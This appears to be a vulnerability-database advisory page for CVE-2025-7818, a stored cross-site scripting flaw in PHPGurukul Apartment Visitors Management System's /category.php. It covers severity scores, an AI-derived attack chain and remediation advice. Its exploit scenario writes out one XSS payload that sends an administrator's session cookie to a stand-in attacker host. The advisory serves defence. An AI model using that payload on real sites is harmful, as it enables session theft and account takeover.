PHPGurukul Apartment Visitors Management System
CVE-2025-7818
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker obtains or already holds valid credentials
-
DeliveryAuthenticates to apartment management system
-
ExploitCrafts malicious categoryname with XSS payload
-
InstallSubmits POST request to /category.php
-
C2Payload stored or reflected in application
-
ExecuteAdministrator views category list
-
ImpactJavaScript executes in admin browser context
-
Step 8Session cookie or credentials exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The vulnerability requires three specific conditions: (1) the attacker must possess a valid authenticated account with access to submit category data (PR:L in CVSS reflects this); (2) the victim must interact with the malicious payload by visiting the affected page displaying the injected category (UI:P in CVSS); and (3) the application must fail to encode output when displaying category names in HTML. No special deployment configuration or non-default settings are mentioned in the description. The vulnerability is NOT exploitable against default configurations accessed without authentication, as the POST handler to /category.php almost certainly enforces session validation. Exploitation is limited to scenarios where an attacker either has legitimate credentials or has compromised another user's account. |
| Impact | This vulnerability presents low real-world risk despite public exploit availability. CVSS 4.0 score (2.0 severity) reflects limited scope: PR:L (authenticated attacker required), UI:P (user interaction required for victim), VC:N/VI:L/VA:N (integrity impact only, no confidentiality or availability impact). EPSS score of 0.05% (16th percentile) confirms low exploitation probability in the wild, indicating the vulnerability is not widely weaponized despite public disclosure. The attack chain requires an authenticated account (likely limiting to internal staff or registered users), victim user interaction (clicking a link), and yields only session/credential theft rather than code execution. The primary risk vector is insider threat or compromised low-privilege accounts attempting to escalate via defacement or admin account takeover. Organizations with smaller user bases, strong authentication controls, and security awareness training face negligible risk. Larger organizations or those with weak credential hygiene should prioritize patching, but this is not a critical vulnerability. |
| Exploit ScenarioDerived | An authenticated user with access to the apartment management system (e.g., staff member, resident) crafts a malicious category name containing JavaScript, such as '<img src=x onerror=fetch("https://attacker.com/?cookie="+document.cookie)>' and submits it via POST to /category.php. When an administrator later views the categories list or edits a category, the JavaScript executes in the admin's browser, exfiltrating session cookies or redirecting the admin to a phishing page to steal credentials. The public exploit on GitHub likely automates this injection and payload delivery. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Stored cross-site scripting (XSS) in PHPGurukul Apartment Visitors Management System 1.0 allows authenticated users to inject malicious scripts via the categoryname parameter in /category.php, which are subsequently reflected to other users. The vulnerability requires user interaction (UI:P) and authenticated access (PR:L), limiting its direct impact to user account compromise or session hijacking of visiting administrators. Public exploit code is available and exploitation probability is low (EPSS 0.05%), suggesting limited real-world weaponization despite public disclosure.
RemediationAI
No vendor-released patch identified at time of analysis. Immediate remediation requires upgrading to a patched version if available from PHPGurukul, or contacting the vendor at phpgurukul.com for a security update. As a compensating control, implement input validation and output encoding: sanitize the categoryname parameter using a server-side whitelist (alphanumeric and safe punctuation only) before storage, and apply HTML entity encoding (htmlspecialchars() in PHP with ENT_QUOTES flag) before rendering in HTML contexts. Additionally, implement a Content Security Policy (CSP) header restricting script execution to trusted sources only, which will mitigate XSS impact even if sanitization is bypassed. These controls introduce minimal performance overhead but require testing to ensure legitimate category names are not rejected. Monitor access logs for suspicious POST requests to /category.php with unusual payload sizes or characters.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the HTTP POST request handler for /category.php in a PHP-based apartment management application. The root cause is improper input validation and output encoding of the categoryname parameter, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The application fails to sanitize user-supplied input before storing it in a backend system (likely a database) or before reflecting it in HTML responses, allowing an authenticated attacker to embed arbitrary HTML and JavaScript that executes in the context of other users' browsers. This is a reflected or stored XSS vulnerability depending on whether the malicious payload persists in the database or is only reflected in the current request.
Know when Apartment Visitors Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /category.php of the component HTTP POST Request Handler. The manipulation of the argument categoryname leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
Apartment Visitor Management System v1.0 is vulnerable to SQL Injection via /avms/index.php. Rated critical severity (CV
A vulnerability was found in SourceCodester Apartment Visitor Management System 1.0. Rated critical severity (CVSS 9.8),
SQL injection vulnerability in PHPGurukul Apartment Visitors Management System (AVMS) v. Rated critical severity (CVSS 9
A vulnerability classified as critical was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium se
A vulnerability, which was classified as critical, has been found in PHPGurukul Apartment Visitors Management System 1.0
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability has been found in PHPGurukul Apartment Visitors Management System 1.0 and classified as critical. Rated
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability classified as critical was found in projectworlds Apartment Visitors Management System 1.0. Rated medium
A vulnerability was found in SourceCodester Apartment Visitor Management System and classified as critical. Rated critic
A vulnerability has been found in SourceCodester Apartment Visitor Management System 1.0 and classified as problematic.
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB